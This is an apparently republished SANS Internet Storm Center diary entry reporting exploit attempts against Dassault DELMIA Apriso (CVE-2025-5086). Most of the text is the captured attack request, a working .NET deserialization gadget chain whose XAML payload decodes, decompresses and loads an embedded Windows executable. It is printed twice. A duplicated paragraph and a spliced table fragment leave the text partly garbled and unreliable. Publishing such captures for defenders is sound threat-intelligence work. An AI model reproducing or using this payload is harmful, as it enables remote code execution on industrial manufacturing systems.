Exploit Attempts for Dassault DELMIA Apriso. CVE-2025-5086, (Wed, Sep 3rd) SANS Internet Storm Center, InfoCON: green

September 3, 2025

When I am thinking about the security of manufacturing environments, I am usually focusing on IoT devices integrated into production lines. All the little sensors and actuators are often very difficult to secure. On the other hand, there is also “big software” that is used to manage manufacturing. One example is DELMIA Apriso by Dassault Systèmes. This type of Manufacturing Operation Management (MOM) or Manufacturing Execution System (MES) ties everything together and promises to connect factory floors to ERP systems. 

When I am thinking about the security of manufacturing environments, I am usually focusing on IoT devices integrated into production lines. All the little sensors and actuators are often very difficult to secure. On the other hand, there is also “big software” that is used to manage manufacturing. One example is DELMIA Apriso by Dassault Systèmes. This type of Manufacturing Operation Management (MOM) or Manufacturing Execution System (MES) ties everything together and promises to connect factory floors to ERP systems. 

But complex systems like this have bugs, too. In June, Dassault Systèmes published an advisory regarding a vulnerability in DELMIA Apriso [1]. The advisory is rather short and states:

A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.

Either way, we are seeing exploits for DELMIA Apriso related issues. The exploit we are seeing is a deserialization problem. The scans originate from %%ip:156.244.33.162%% (side quest: Is this IP located in Mexico, Argentina, or the Seychelles?)

The request:

POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1
Host: [target IP address]:9000
User-Agent: [randomized]
Connection: close
Content-Length: 8958
Content-Type: text/xml
Soapaction: "http://tempuri.org/IFlexNetOperationsService/Invoke"
Accept-Encoding: gzip

<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”>
  <s:Body>
    <Invoke xmlns=”http://tempuri.org/”>
<ArrayOfstring z:Id=”1″ z:Type=”System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]” z:Assembly=”System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089″ xmlns=”http://schemas.microsoft.com/2003/10/Serialization/Arrays” xmlns:i=”http://www.w3.org/2001/XMLSchema-instance” xmlns:x=”http://www.w3.org/2001/XMLSchema” xmlns:z=”http://schemas.microsoft.com/2003/10/Serialization/”><Count z:Id=”2″ z:Type=”System.Int32″ z:Assembly=”0″ xmlns=””>2</Count><Comparer z:Id=”3″ z:Type=”System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]” z:Assembly=”0″ xmlns=””><_comparison z:Id=”4″ z:FactoryType=”a:DelegateSerializationHolder” z:Type=”System.DelegateSerializationHolder” z:Assembly=”0″ xmlns=”http://schemas.datacontract.org/2004/07/System.Collections.Generic” xmlns:a=”http://schemas.datacontract.org/2004/07/System”><Delegate z:Id=”5″ z:Type=”System.DelegateSerializationHolder+DelegateEntry” z:Assembly=”0″ xmlns=””><a:assembly z:Id=”6″>mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id=”7″><a:assembly z:Ref=”6″ i:nil=”true”/><a:delegateEntry i:nil=”true”/><a:methodName z:Id=”8″>Compare</a:methodName><a:target i:nil=”true”/><a:targetTypeAssembly z:Ref=”6″ i:nil=”true”/><a:targetTypeName z:Id=”9″>System.String</a:targetTypeName><a:type z:Id=”10″>System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id=”11″>Parse</a:methodName><a:target i:nil=”true”/><a:targetTypeAssembly z:Id=”12″>PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id=”13″>System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id=”14″>System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id=”15″ z:FactoryType=”b:MemberInfoSerializationHolder” z:Type=”System.Reflection.MemberInfoSerializationHolder” z:Assembly=”0″ xmlns=”” xmlns:b=”http://schemas.datacontract.org/2004/07/System.Reflection”><Name z:Ref=”11″ i:nil=”true”/><AssemblyName z:Ref=”12″ i:nil=”true”/><ClassName z:Ref=”13″ i:nil=”true”/><Signature z:Id=”16″ z:Type=”System.String” z:Assembly=”0″>System.Object Parse(System.String)</Signature><Signature2 z:Id=”17″ z:Type=”System.String” z:Assembly=”0″>System.Object Parse(System.String)</Signature2><MemberType z:Id=”18″ z:Type=”System.Int32″ z:Assembly=”0″>8</MemberType><GenericArguments i:nil=”true”/></method0><method1 z:Id=”19″ z:FactoryType=”b:MemberInfoSerializationHolder” z:Type=”System.Reflection.MemberInfoSerializationHolder” z:Assembly=”0″ xmlns=”” xmlns:b=”http://schemas.datacontract.org/2004/07/System.Reflection”><Name z:Ref=”8″ i:nil=”true”/><AssemblyName z:Ref=”6″ i:nil=”true”/><ClassName z:Ref=”9″ i:nil=”true”/><Signature z:Id=”20″ z:Type=”System.String” z:Assembly=”0″>Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id=”21″ z:Type=”System.String” z:Assembly=”0″>System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id=”22″ z:Type=”System.Int32″ z:Assembly=”0″>8</MemberType><GenericArguments i:nil=”true”/></method1></_comparison></Comparer><Version z:Id=”23″ z:Type=”System.Int32″ z:Assembly=”0″ xmlns=””>2</Version><Items z:Id=”24″ z:Type=”System.String[]” z:Assembly=”0″ z:Size=”2″ xmlns=””><string z:Id=”25″ xmlns=”http://schemas.microsoft.com/2003/10/Serialization/Arrays”/><string z:Id=”26″ xmlns=”http://schemas.microsoft.com/2003/10/Serialization/Arrays”>

[see decoded version of the "string" below]

</string></Items></ArrayOfstring>
    </Invoke>
  </s:Body>
</s:Envelope>

The actual payload is enclosed in the “string” parameter and XML (HTML?) encoded.

The decoded version:

<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"
>
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">
      <x:Arguments>
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>
      </x:Arguments>
   </s:Array>
   <i:MemoryStream x:Key="inputStream">
      <x:Arguments>
         <StaticResource ResourceKey="data"></StaticResource>
      </x:Arguments>
   </i:MemoryStream>
   <c:GZipStream x:Key="gzipStream">
      <x:Arguments>
            <StaticResource ResourceKey="inputStream"></StaticResource>
            <c:CompressionMode>0</c:CompressionMode>
      </x:Arguments>
   </c:GZipStream>
</s:Envelope> |
| 398317624 | <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <Invoke xmlns="http://tempuri.org/">
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"
xmlns:i="clr-namespace:System.IO;assembly=mscorlib"
xmlns:c="clr-namespace:System.IO.Compression;assembly=System"
>
   <s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String">
      <x:Arguments>
         <s:String>H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=</s:String>
      </x:Arguments>
   </s:Array>
   <i:MemoryStream x:Key="inputStream">
      <x:Arguments>
         <StaticResource ResourceKey="data"></StaticResource>
      </x:Arguments>
   </i:MemoryStream>
   <c:GZipStream x:Key="gzipStream">
      <x:Arguments>
            <StaticResource ResourceKey="inputStream"></StaticResource>
            <c:CompressionMode>0</c:CompressionMode>
      </x:Arguments>
   </c:GZipStream>
   <s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance">
      <x:Arguments>
         <x:Type TypeName="s:Byte"/>
         <x:Int32>3584</x:Int32>
      </x:Arguments>
   </s:Array>
   <ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read">
      <ObjectDataProvider.MethodParameters>
         <StaticResource ResourceKey="buf"></StaticResource>
         <x:Int32>0</x:Int32>
         <x:Int32>3584</x:Int32>
      </ObjectDataProvider.MethodParameters>
   </ObjectDataProvider>
    <ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load">
        <ObjectDataProvider.MethodParameters>
            <StaticResource ResourceKey="buf"></StaticResource>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes">
        <ObjectDataProvider.MethodParameters/>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue">
        <ObjectDataProvider.MethodParameters>
            <s:Int32>0</s:Int32>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember">
        <ObjectDataProvider.MethodParameters>
            <x:Null/>
            <r:BindingFlags>512</r:BindingFlags>
            <x:Null/>
            <x:Null/>
            <x:Null/>
            <x:Null/>
            <x:Null/>
            <x:Null/>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

The two identical Base64 encoded strings decode to a GZIP-compressed Windows executable. Virustotal doesn’t see anything wrong with them [2]. Hyprid Analysis labels it as malicious [3]. The string “Project Discovery CVE-2025-5086” may point to the scan originating from a vulnerability scanner.

[1] https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204
[2] https://www.virustotal.com/gui/file/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821
[3] https://hybrid-analysis.com/sample/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821/68b8504446b83fb2480c50bd

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu, Social Media Links

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License. 

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Tech Jacks
Derrick Jackson is a IT Security Professional with over 10 years of experience in Cybersecurity, Risk, & Compliance and over 15 Years of Experience in Enterprise Information Technology

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